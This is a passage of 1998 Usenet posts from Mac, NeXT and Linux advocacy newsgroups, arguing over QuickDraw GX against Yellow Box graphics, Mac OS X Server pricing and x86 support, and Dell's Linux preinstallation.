References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <f6r92.2428$CY1.9646758@news.itd.umich.edu>
<746l79$3ls$1@murdoch.acc.Virginia.EDU> <5PB92.2485$CY1.9921564@news.itd.umich.edu>
Mime-Version: 1.0
Date: Thu, 3 Dec 1998 21:09:37 GMT
In <5PB92.2485$CY1.9921564@news.itd.umich.edu> "Jin Kim" wrote:
> ><http://www.cs.nmt.edu/~cort/papers/linuxppc-mm/linuxppc-mm.pdf>
Does anyone else have a source for this pdf? I get a stellar 200bps
before it finally dies.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Content-Type: text/plain; charset=us-ascii
Message-ID: <F3ErDu.Ipt@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Organization: needs one
References: <36666ab0$0$229@nntp1.ba.best.com> <B28C4186-3DDA@206.165.43.2>
Mime-Version: 1.0
Date: Thu, 3 Dec 1998 21:22:41 GMT
In <B28C4186-3DDA@206.165.43.2> "Lawson English" wrote:
> GX, due to the retained-mode interface, is suitable for use in scripting
> languages like HyperTalk and AppleScript. That makes it useful for a LOT
> of purposes that you probably never even thought about.
But so does Yellow objects, which are also "retained mode". The argument
has long been that the right functionality should be placed in the right
layer, the message you're referring to is dealing with this problem.
Putting an object model in your graphics engine makes no sense whatsoever
if you already have another object model.
But we've been down this road too, now you're going to tell me that it's
not fast enough if you do it this way, and only by retaining on the engine
side could this POSSIBLY work, thus countering what my own eyes are seeing
in the background in my own product.
> I can't believe that you are actually worried about this.
Why not? Everyone else has said the same thing. On one hand you talk
performance, then appologize away a HUGE potential performance hit as being
just fine.
> GX's coordinate system is a subset (for any practical purpose) of a
> floating point system.
But _GX_ uses fixed point math to work. So if we want to use the fpu and
get the whole CPU working, we're looking at a re-write anyway. All this to
get a model that doesn't mesh with anything else in the world, is 32k in
size, and no one really wants in the first place. Oh yeah, and for 3D
perspective effects. Hooo-eee, what a deal!
> The differences between GX and any other structured-retained-mode API
> should be minimal, and can be cooerced to be identical as long as the
> features of GX are preserved. The question is: will the underlying
> graphics engine of Carbon and the YB support all the features of GX?
No. Does anyone except you really seem to care? No.
> The idea is to make sure that as many apps as possible are available on
> the Mac.
> excluding 68K and pre-8.6 MacOS owners from the game is NOT the way
> to entice developers to develop for the MacOS.
Yes, and clearly not including a floppy in the iMac will make sure that
no one would ever consider buying one.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: New date for OS X Server?
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<739lhb$g1r@news1.panix.com> <SCOTT.98Nov30212634@slave.doubleu.com>
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Date: Thu, 3 Dec 1998 21:34:03 GMT
In <746o4g$dol$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> It's perfectly OK for Apple to sell an OSX/WebObjects/Apache/other stuff
> bundle designed to compete with NT Server, and to price it accordingly.
Ok.
> What would be really silly is making OSX Server available ONLY
> in this way. After all, MS has WNT workstation, don't they?
They do NOW, but this was not always the case and NT was only available
as a server product. Thus again I don't see the problem.
> put it, a "wonderful power-user client system wrapped in a UI that even a
> novice can use". By selling a plain-vanilla OSX Server, Apple would now
> have
> a complete product range, with OS8.5 competing with W95/98, plain-vanilla
Yes, and they should also have 1.6GBps FireWire in every machine with 1G
G4's, $60B in the bank and an installed base of 30%. However things take
time. They've always said they will, it's not like this has been sprung on
you out of the blue or something.
> OSX Server competing with NT workstation, and OSX Server + other
> stuff competing with NT Server.
No, OS-X competing with NT Workstation (now Windows 2000) and OX-X Server
competing with NT Server. Maybe it's just me, but this seems to make
perfect sense.
> So it's not the notion of selling a high-end bundle that people are
> objecting to, it's the notion of not ALSO selling a mid-end bundle.
And I'm sure they will, when it's done. The very fact that people can
run Linux for servers proves that you can release a server with more sharp
edges in the GUI department than a workstation. So they will.
> Well, some of us have been going on on this for some time now.
Yes, "I don't wanna pay more than xxx for this product". Fair enough I
suppose, but wrapping it up as above seems silly.
Maury
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: 3 Dec 1998 21:38:24 GMT
Organization: Univ of Calif San Diego
Message-ID: <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net>
NNTP-Posting-Date: 3 Dec 1998 21:38:24 GMT
On Thu, 3 Dec 1998 15:06:41 -0600, Nik Simpson <ndsimpso@ingr.com> wrote:
:
:Chris Welch wrote in message <3666F06F.86D69BAF@digiscape.com>...
:>Joe Rice wrote:
:>>
:>> Dell will preinstall linux for a price.
:>>
:>How ironic. Normally free linux costs more to have installed than
:>windows.
:
:Because Dell, like everyone else has totally automated routines for
:installing software like Windows. I suspect if the Linux community wants to
:have people like Dell preinstall without charging an arm and a leg they need
:to look at how to make automated installation real simple.
The general reason is because Microsoft licenses Windows on flat
per-machine fees negotiated "per computer line", just barely
circumventing the prohibition on per-machine fees.
So, any of the standard 'mass market configurations' only come with
Windows. A computer company has to offer an entirely different 'line' of
hardware with different inventory.
'Automated installation' on known hardware should be as trivial in
Linux as in Windows.
:--
:Nik Simpson
:
:
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "do || !do; try: Command not found"
* /sbin/yoda --help
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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<746k9p$820$1@your.mother.com> <WGB92.2484$CY1.9917779@news.itd.umich.edu>
<ytg1zmhhuno.fsf@lts.sel.alcatel.de>
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Date: Thu, 3 Dec 1998 21:00:28 GMT
In <ytg1zmhhuno.fsf@lts.sel.alcatel.de> Charles Reindorf US/EE1 60/1/44
#44278 wrote:
> Question: Would an argument in favour of Linux here have to do with
> device driver support??? Or does Mach/x86 have enough of that already?
It's certainly not at the level of Linux, but it is well supported
overall. Most ether works, most of the more common graphics cards
(although that's getting dated), all newer drives (newer as in the last
four to five years) and all sorts of SCSI. It's also very easy to develop
drivers under OS4.2, they have an OO based framework for it and Mach
supports all of this well.
Apple uses the driver issue as an excuse for not going ahead with this
project, citing IBM's 100M spent on drivers for OS/2. However they fail to
realize the argument holds little water when you consider that NeXT had
overall good support from a much smaller company, and that the driver
framework is now available widely. I suspect that they would have overall
much better support with overall less work in a very short time.
I really do believe that the reason they don't have a PC version is
because they don't want to have a PC version. They may have their reasons,
good ones even, but the driver issue doesn't strike me as a real one.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: 3 Dec 98 15:29:19 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B28C5EED-72651@206.165.43.2>
References: <F3ErDu.Ipt@T-FCN.Net>
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Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B28C4186-3DDA@206.165.43.2> "Lawson English" wrote:
>> GX, due to the retained-mode interface, is suitable for use in scripting
>> languages like HyperTalk and AppleScript. That makes it useful for a LOT
>> of purposes that you probably never even thought about.
>
> But so does Yellow objects, which are also "retained mode". The
argument
>has long been that the right functionality should be placed in the right
>layer, the message you're referring to is dealing with this problem.
>Putting an object model in your graphics engine makes no sense whatsoever
>if you already have another object model.
>
But Yellow Box does NOT work for ANY shipping Macintosh at the current
time, and when it is released, at least 1/2 of the Macs in use won't be
able to use it, and more like 3/4 of them won't be able to.
> But we've been down this road too, now you're going to tell me that it's
>not fast enough if you do it this way, and only by retaining on the engine
>side could this POSSIBLY work, thus countering what my own eyes are
>seeing
>in the background in my own product.
I'm willing to accept that a graphics graphics written specifically for
PowerPC, rather than source-code compatible with a system designed for 68K
CPUs, can be faster than the ported system, especially since it is a common
finding that 68K-specific optimizations can actually slow one down when
porting to PPC.
>
>> I can't believe that you are actually worried about this.
>
> Why not? Everyone else has said the same thing. On one hand you talk
>performance, then appologize away a HUGE potential performance hit as
>being
>just fine.
>
Actually, I think that I changed my tune some time ago and you missed it:
GX's engine was designed for 68K CPUs with a lower-performance
floating-point unit, so they used fixed-point math in every case. YB/Carbon
graphics are PPC-only on the Mac side and can be fully optimized for the
PPC without worrying about source code compatibility with 68K machines.
If YB/Carbon graphics have a 4x?? matrix available, GX's 3x3 matrix
transforms are merely a subset of the YB/Carbon capabilities, so obviously,
we should go with the higher-order matrix (68K machines can't handle this
effectively, so it was never an option for GX).
What is lacking is apparently (the most important issue, at least), the
GX/QT transfer mode capabilties, and maybe a few of the more esoteric
viewport/viewdevice options. If the transfer mode issue is resolved, a
GX-API that uses a 4x4 matrix can be made available for Carbon that will
allow just about ANY GX graphic to be displayed without loss of resolution,
and will allow a reasonable approximation of source-code compatility with
GX.
The retained-mode issue need not be at the engine-level, if the CPU is fast
enough. *I* was stuck in 68K-mode thinking in this case. Mea Culpa.
>> GX's coordinate system is a subset (for any practical purpose) of a
>> floating point system.
>
> But _GX_ uses fixed point math to work. So if we want to use the fpu
and
>get the whole CPU working, we're looking at a re-write anyway. All this
to
>get a model that doesn't mesh with anything else in the world, is 32k in
>size, and no one really wants in the first place. Oh yeah, and for 3D
>perspective effects. Hooo-eee, what a deal!
>
No, for a model that is quite useful for many purposes and would retain
source-code level backwards compatibility with the Macs used by over 10
million people who can NEVER upgrade their hardware to use Carbon/YB. Do
you think that these people turn Quadras into aquariums? They give them to
their own kids or donate them to schools or sell them, meaning that there
are STILL 10 million of them that need software until they fall apart.
Schools don't dump their old systems either, they just migrate them to
lower grade-levels. Apple needs to recognize this issue and make owners of
Quadras still feel like Mac owners. Terminating the only universally
available DTP-engine for 68K machines is NOT making people feel like Apple
still cares, and it slashes the potential software market for Mac software
by 50%.
>> The differences between GX and any other structured-retained-mode API
>> should be minimal, and can be cooerced to be identical as long as the
>> features of GX are preserved. The question is: will the underlying
>> graphics engine of Carbon and the YB support all the features of GX?
>
> No. Does anyone except you really seem to care? No.
>
I think that most people *would* care if they understood what they are
about to lose. That includes most NeXT users, since the color transfer
modes could be used from within YB graphics also.
>> The idea is to make sure that as many apps as possible are available on
>> the Mac.
>
>> excluding 68K and pre-8.6 MacOS owners from the game is NOT the way
>> to entice developers to develop for the MacOS.
>
> Yes, and clearly not including a floppy in the iMac will make sure that
>no one would ever consider buying one.
>
How many iMac owners have you worked with? Anyone who purchases an iMac
right now is risking all sorts of hassles. For instance, how do you get an
imation SuperDrive to work with Virtual PC? Where's that USB<=>AppleTalk
converter we were promised months ago? Etc.
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Nik Simpson" <ndsimpso@ingr.com>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net> <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Subject: Re: Linux preinstalled laptops?
Date: Thu, 3 Dec 1998 16:03:23 -0600
Organization: Intergraph Computer Systems (Server Division)
Message-ID: <Dm#EkcwH#GA.195@pet.hiwaay.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Matt Kennel wrote in message ...
>On Thu, 3 Dec 1998 15:06:41 -0600, Nik Simpson <ndsimpso@ingr.com> wrote:
>:
>:Chris Welch wrote in message <3666F06F.86D69BAF@digiscape.com>...
>:>Joe Rice wrote:
>:>>
>:>> Dell will preinstall linux for a price.
>:>>
>:>How ironic. Normally free linux costs more to have installed than
>:>windows.
>:
>:Because Dell, like everyone else has totally automated routines for
>:installing software like Windows. I suspect if the Linux community wants
to
>:have people like Dell preinstall without charging an arm and a leg they
need
>:to look at how to make automated installation real simple.
>
>The general reason is because Microsoft licenses Windows on flat
>per-machine fees negotiated "per computer line", just barely
>circumventing the prohibition on per-machine fees.
>
>So, any of the standard 'mass market configurations' only come with
>Windows. A computer company has to offer an entirely different 'line' of
>hardware with different inventory.
>
>'Automated installation' on known hardware should be as trivial in
>Linux as in Windows.
>
I can't speak for LINUX, but Microsoft provides a software toolkit for OEMs
that allows them to totally customize the installation procedure and do all
sorts of things. I believe that large system vendors will require the same
sort of support from say RedHat if you want to see them pre-install LINUX
woithout charging an arm and a leg for the privilege.
--
Nik Simpson
From: Jim Mellander <mellander1@llnl.gov>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Linux preinstalled laptops?
Date: Thu, 03 Dec 1998 14:11:58 -0800
Organization: Lawrence Livermore National Laboratory
Message-ID: <36670CAE.7C2DFA21@llnl.gov>
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de> <3665A681.4D6D2AA5@columbus.crosswinds.net> <3666F06F.86D69BAF@digiscape.com> <UXG#48vH#GA.210@pet.hiwaay.net> <slrn76e16g.pub.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
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NNTP-Posting-Date: 3 Dec 1998 22:18:25 GMT
Matt Kennel wrote:
>
> On Thu, 3 Dec 1998 15:06:41 -0600, Nik Simpson <ndsimpso@ingr.com> wrote:
> :
> :Chris Welch wrote in message <3666F06F.86D69BAF@digiscape.com>...
> :>Joe Rice wrote:
> :>>
> :>> Dell will preinstall linux for a price.
> :>>
> :>How ironic. Normally free linux costs more to have installed than
> :>windows.
> :
> :Because Dell, like everyone else has totally automated routines for
> :installing software like Windows. I suspect if the Linux community wants to
> :have people like Dell preinstall without charging an arm and a leg they need
> :to look at how to make automated installation real simple.
>
> The general reason is because Microsoft licenses Windows on flat
> per-machine fees negotiated "per computer line", just barely
> circumventing the prohibition on per-machine fees.
>
> So, any of the standard 'mass market configurations' only come with
> Windows. A computer company has to offer an entirely different 'line' of
> hardware with different inventory.
>
> 'Automated installation' on known hardware should be as trivial in
> Linux as in Windows.
>
Yes, the incremental costs of a smaller installation base are
comparatively higher, but installing Linux is as simple as creating one
master hard disk, hooking the other one up as a slave and running 'dd'.
I suspect, that like many other companies, Dell puts hurdles in front of
potential Linux users for fear of provoking a reaction from
Microsoft....
From: satan@hell.home.com (Michael Lankton)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X User Interface
MIME-Version: 1.0
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References: <WGy92.166$QB3.4178387@news.rdc1.ne.home.com> <19981203132452.14328.00000951@ng57.aol.com>
<F3ELCL.FGx@T-FCN.Net>
Message-ID: <SfE92.172$QB3.4347668@news.rdc1.ne.home.com>
Date: Thu, 03 Dec 1998 22:28:02 GMT
NNTP-Posting-Date: Thu, 03 Dec 1998 14:28:02 PDT
Organization: @Home Network
In <F3ELCL.FGx@T-FCN.Net> Maury Markowitz wrote:-
> So far it's been suggested I'm a rabid anti-NeXT-GUI flamer, that all I
> post on is this topic, and now that I haven't used the OS much. All this
> because I think the square black outlines of the windows look clinical and
> aren't as nice as the "classic" Sys7 style.
Well, I'm coming to the party a bit late, having only acquired Openstep 4.2
this last September. I am coming from a unix background, using several SVR4
and BSD based unices regularly, and pretty much duplicating the same xdesktop
in all of them. While there are a few things about some of the Xwindows
window managers that I find useful, no other environment is as intuitive,
beautiful, and fun to spend time in as NeXT. I pretty much do all of my
computing at home in Openstep 4.2 now, lacking apps as it does, it's just
such a well designed and thoughtful interface, it's a joy to use.
That said, I would never have considered using an Apple os, but I will now be
first in line when Mac OS X Server-x86 becomes available, even if they are
dropping support after one release. I hope Apple doesn't decide releasing
Mac OS X Server is contrary to their best interests, because I am really
looking forward to seeing what they have done with the technology.
From: mmccullo@nospam.net (Michael McCulloch)
Newsgroups: comp.sys.next.advocacy
Subject: Re: PC Week calls Rhapsody an "IT Turkey"
Date: Thu, 03 Dec 1998 22:28:33 GMT
Organization: ICX Online, Inc.
Message-ID: <36680fa9.29212988@news.icx.net>
References: <73iop0$29t@crab.afs.com> <jpolaski-2611981619230001@d149-109.ce.mediaone.net> <73l8ps$6r6@crab.afs.com> <912185841.568838@watserv4.uwaterloo.ca>
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NNTP-Posting-Date: 3 Dec 1998 22:29:15 GMT
dfevans@bbcr.uwaterloo.ca (David Evans) wrote:
> Come on, Greg. Let the spirit of Steve Sarich fill you with anger and
>vitriol.
I thought Greg already stated that "he couldn't even get angry about
it." Is he having a NeXT religion relapse? :-)
---
Michael McCulloch
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Let's play a game (was Re: A problem with QuickTime Vectors
Date: Thu, 03 Dec 1998 20:46:02 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <746ta9$ic2$1@nnrp1.dejanews.com>
References: <19981203093222.EGTO9985@181.minneapolis-01.mn.dial-access.att. net> <B28C13F2-3BD09@206.165.43.215>
In article <B28C13F2-3BD09@206.165.43.215>,
"Lawson English" <english@primenet.com> wrote:
> Since GX's text-shapes don't handle more than one line of text at a
> time, you can't use the transform object's own matrix to handle the
> editable starwars effect, so you must devise a block-text editor, and
> apply the 3D perspective to the viewport that the text is being drawn
> into, instead. This works fine because GX mousetracking automatically
> compensates for a viewport's transform. If nested viewports are,
> involved you gotta concatenate the viewports' matrices and work from
> global mouse coordinates instead.
>
Y'know, all this looks complicated to me. I thought you said it was *easy*?
To give an example of what I'd call *easy*: I've never done any 3D math or
suchlike, yet *from scratch* (i.e. first reading the documentation) I was
able to put together an application which showed a stereo pair of views
looking at a scene (a rotatable etc 3D object) lit by an ambient light and a
spotlight whose XYZ position and colour could be adjusted, and the whole
thing rendered in true 3D using wireframe or full render... within 6 hours.
It was about 100 lines of code. I hope Apple make QTML as accessible as
RenderMan was in NeXT's 3DKit...
mmalc.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 3 Dec 1998 22:46:14 GMT
Organization: Michigan State University
Message-ID: <7474bm$kf5$5@msunews.cl.msu.edu>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <F3EA28.9Ju@T-FCN.Net>
<746k9u$820$2@your.mother.com> <F3EKM7.F1F@T-FCN.Net>
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Cc: maury@remove_this.istar.ca
In <F3EKM7.F1F@T-FCN.Net> Maury Markowitz wrote:
> In <746k9u$820$2@your.mother.com> "Todd Heberlein (todd at NetSQ dot com)"
> wrote:
> > > The real question is why you'd want Linux as opposed to Mach/BSD.
> >
> > To run OpenStep applications on Intel boxes.
>
> Then why not just get them to release the Intel version? Re-writing the
> system to use an alternate kernel to get something the current kernel
> already has been doing for years strikes me as the wrong solution to the
> problem.
>
> As to other potential issues, speed is not an issue, the NetBSD garnered
> code apparently compiles the VAST majority of Linux code, and there are
> many network computing aspects to Mach that Linux can't touch. Linux is
> good, and Linux is fast, but Linix is neither good enough or fast enough to
> warrant a change in my books.
The poster simply is pointing out that if one wants OS X for intel they'll
be stuck with version 1.0. They'd like to know there is some future for
OS X on x86.
I think the answer from Apple is the following. IF you want OS X
functionality on x86 then get Yellow for Windows. Simple as that.
I suspect the strategy being the following:
1. Yellow for Win will be slower, have all the underlying Win problems.
and therefore people who will want a fast OS X will have to get PPC
from Apple of course.
2. If OS X was to be sold for x86
a) The speed difference would not be as great
b) They'd have to write/maintain drivers
c) Could eat into PPC sales.
d) People would bitch even more about lack of SMP.
Final point 4 I'm going to hammer until someone at Apple finally cracks.
No SMP dammit. Now try to convince anyone that Apple is serious
about OS X being a Server OS. Not this year folks. Maybe in 1999
if were lucky.
Oh. and did I mention by that time Linux seats in the server arena
will probably have doubled or tripled.. Thing is Apple can't do squat about
anything on Linux until they get their Display redone - tested - etc.
Then they can have a Yellow on Linux or anywhere else for that
matter. I suspect the AOL, Netscape, Sun deal may put Java more
solidly on the map..
The allegances are changing folks.. Funny SGI jumps with MS - NT,
Sun/Netscape/AOL- Java, IBM - OS/2 - Linux?, Oracle - Linux! (kernel
still open for standalone Oracle server), DEC??..
I also suspect Apple is trying to hedge all bets until things sort them
selves out. Apple with PPC could have a nice piece of the set-top
type boxes that we'll be seeing someday. Especially if Java can
get some momentum.
Were I Apple I'd be really upset that Adobe would rather DPS
die than to cough up the code for it. I really hope Apple doesn't
make the same mistake again with the Display engine (i.e.
relying on licensing from 3rd party).
> > Since Apple hasn't
> > committed to an Intel release beyond the first MacOS X Server release,
>
> The flaw, as I see it, with this line of reasoning is that Apple seems to
> have killed the PC version simply because they don't want a PC version. I
> don't see how basing it on a 3rd party kernel would make this any more
> attractive to them. This wasn't a technology issue (luckily!) but a
> political one. BTW, I don't like it either, don't get me wrong.
>
I agree there is no reason for Apple to switch kernels. It'd be NASTY
to say the least. I really don't understand why Apple still won't grab
a hold of the OpenMach proposal. They'd have drivers galore soon
enough..
Though I do see they are going toward firewire. I think this would
be a smart move. Dump SCSI/IDE all together! Though I have
to wonder how Firewire will play out agains FibreChannel? Again
though legacy folks go to cough up more $$ for Firewire disks, etc.
At least we'll have a OS X 1.0 to play with on x86. If the demand
is large enough perhaps Apple can be coaxed to continue support
when 1.0 for the consumer ships.
All too bad IMHO since Apple may have some neat stuff software
and potentially hardware wise (PPC's low power requirements
are very attractive IMHO) but YB stuff doesn't have the support
to interoperate in the MS world easily (think Carbon), AND since
the Display engine in YB will need a complete reworking because
of Adobe, this seems to not bode too well for Yellow for the future.
More delays for acceptance of Yellow I suspect.
What do developers think about this Display change? I guess
you'd hope that too much rewriting would be needed and in
fact a simple porting tool would be made available.. Unfortunately
I don't know enough about this to know how much of a problem
it will become - other than it will probably break compatibility
with old YB apps (can you say broken legacy compatibility -
and pay upgrade prices)..
Anyway just a few comments from this side of the world.
Randy Rencsok
rencsok or spammers at
ruin d0t the d0t internet d0t channelu d0t com
http://www.channelu.com/Staff.html
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 3 Dec 1998 23:48:05 GMT
Organization: Michigan State University
Message-ID: <7477vl$kf5$6@msunews.cl.msu.edu>
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Cc: spagiola@my-dejanews.com
In <746o4g$dol$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
> > In <SCOTT.98Dec3001200@slave.doubleu.com> Scott Hess wrote:
> > > I guess what I'm saying is that calling something "NT Server" no more
> > > makes it a server in real life than calling it "Mac OS X Server".
> > > Rhapsody didn't suddenly change into a whiz-bang superserver just by
> > > changing the name. It's the same old wonderful power-user client
> > > system wrapped in a UI that even a novice can use.
> >
> > I think we all agree on that. But my point is that if it's OK for NT to
> > do this and be sold for more money, I don't see why it's not OK for Apple
> > to do it as well.
>
> It's perfectly OK for Apple to sell an OSX/WebObjects/Apache/other stuff
> bundle designed to compete with NT Server, and to price it accordingly. What
> would be really silly is making OSX Server available ONLY in this way. After
> all, MS has WNT workstation, don't they? In OSX Server, Apple has, as Scott
> put it, a "wonderful power-user client system wrapped in a UI that even a
> novice can use". By selling a plain-vanilla OSX Server, Apple would now have
> a complete product range, with OS8.5 competing with W95/98, plain-vanilla OSX
> Server competing with NT workstation, and OSX Server + other stuff competing
> with NT Server.
Not offering a OS X Server in a realistic price range w/o WO will effectively
kill OS X Server. I mean if WO4 is going to be $1.5K how much is it going
to be with OS X? Any way one cuts this if Apple doesn't have a two tiered
approach to the first OS X release they'll stop most folks from even trying it.
AND worse less folks to buy 3rd party YB apps. Can we hurt the YB ISV's
anymore?
Give the 'Enterprise' version all the developement stuff minus the WO stuff.
So people can use it as a cheap Java development platform. You'll win
some mind share, and help out your YB developers, not to mention
possibly sell a few more copies of WO, and eventually PPC systems..
> So it's not the notion of selling a high-end bundle that people are objecting
> to, it's the notion of not ALSO selling a mid-end bundle. Does it make sense
> to leave the middle range completely to MS?
I suspet Apple really has no interest in the high or middle. OS X is simply
to fufill some kind of obligation only as a interim to the release of consumer/user.
I would guess if Apple is really serious about WO and OS X as a server
they better have SMP and SMP boxes in January (doubtful) at least as
demos.
> Now all of this is hypothetical, since Apple has said nothing of its OSX
> Server pricing plans at all. All we have so far is ugly rumors. Hopefully,
> those were just either plain wrong or trial balloons put out to see what the
> reaction would be. I'd like to make sure Apple realizes that the reaction
> would be very bad. From where I sit, I see plenty of people waiting to see if
> Apple really has learned from its previous Apple/NeXT mistakes, or whether
> iMac and other recent successes were just flukes.
The price for WO4 isn't a rumor. What we don't know is if Apple will
foolishly force it into the OS X bundle & price it accordingly?
> > > What I'm saying is that the "Server" tag isn't there because they're
> > > targeting a server environment, really (just because high-end
> > > developer machines share many parts with servers doesn't _make_ them
> > > servers.
> >
> > I'm not at _all_ convinced this is true though. I really do think Apple
> > is targetting this for servers, because as it stands they really don't have
> > anything in that space and they need something in that space.
>
> But they also have nothing in the space in which NT workstation sells. OS X
> Server is perfect for this space; why not sell into that as well?
My bet is because Apple has little interest in the server markets. I am beginning
to wonder if they will go completely Java in the near future with WO4.
Someone who really knows the guts can comment on the possibility of this.
I will predict one thing if Apple bundles WO4 with OS X and prices it at 1.5K
or higher AND doesn't show OS X with SMP kernel and SMP boxes by
at the worst MacWorld 99 that Server will effectively be dead. What will
happen to YB in that case is hard to say. But it will say that Apple is
willing to give up the server market. Tell me if Apple gives up the
Server market what will they run WO4 on? Or will YB and WO simply
become the new Java development environment?
I'll wait till OS X pricing/bundling gets set up. But I already smell
something fishy in Cupertino..
> > > My whole point in quibbling with the "Server" designation is that NT
> > > Server costs much more than NT Workstation because it's supposed to be
> > > used for serving large numbers of people, say over the Internet. As a
> > > developer, I'd never want to have NT Server installed on my machine.
> >
> > Sure, but as I noted, the reality is completely different. In fact it
> > seems to me that the "OS-X Server" is likely to be different in more ways
> > than NT is. I fully expect it to come with things like Apache, WO, and
> > various NetInfo admin tools.
>
> Again, fine. More power to them. But ALSO sell it an NT workstation-like price
> without these bells and whistles.
We'll see.
> > > I, personally, don't want to have to pay for MacOS X Server as if I
> > > was going to install a database and server 1M web pages a day off of
> > > it. Perhaps they should bring out MacOS X Enterprise to clear up that
> > > concern...
> >
> > Ahhhh, now I see the issue.
>
> Well, some of us have been going on on this for some time now. Hopefully, it
> didn't take Apple as long to see it as well.
I think what will be interesting will be whether Apple will be able to see
what kind of message they will send if they bundle WO4 with OS X and
not sell a OS X alone reasonably priced (significanly under $1K, preferrably
under $100 for OS X user alone, and under $500 for user/developer etc.)
I really hope Apple considers what the public reaction will be if they
do the former and not the latter.. BTW: Apple if you do follow the marketing
idea above. (
1 $99 -199 for OS X Server Base
2 $399-499 for OS X Server Dev (preimere Java development environment, and
cross platform YB environment, soon Carbon + 1)
3 $1999 for OS X Server Enterprise (with WO4 + 2 & 1)
Make 1-3 Bi-FAT so people who'll buy for intel won't have to repurchase the
software when and if they buy a PPC. Also for people who have PPC so
they can let other people try the OS on intel.. I suspect it would be a HUGE
marketing success.. (i.e. allow 1 permanent license and 1 other temporary
license for demonstration purposes only to be used on different hardware)
One last point Apple. I suspect there are enough web sites out there that
if you sell OS X user/dev for the above prices that the web will pick up
a lot of the support slack. Companies would spring up to sell preconfigured
OS X x86 boxes etc.
If you Apple only does 3 then you will be sending a terrible message about
not being serious about YB. I mean if Apple thinks that YB is a significant part of
it's future EVEN if the DISPLAY has to change (meaning people will
have to get upgrades to YB apps at some point) then why not get a YB
compatible OS into as many people's hands as possible, AS SOON as
possible?? If Apple doesn't want to put a huge amount of support into it then don't.
Let the rest of us out here pick up the slack and make a business out of the support
issues. But darn well get YB into people's hands so they'll start supporting
YB developers NOW and not a year from now. When consumer ships
then the rest of your users can upgrade - you'll have established support
companies, thriving YB developers, and you'll be able to harp on Carbon
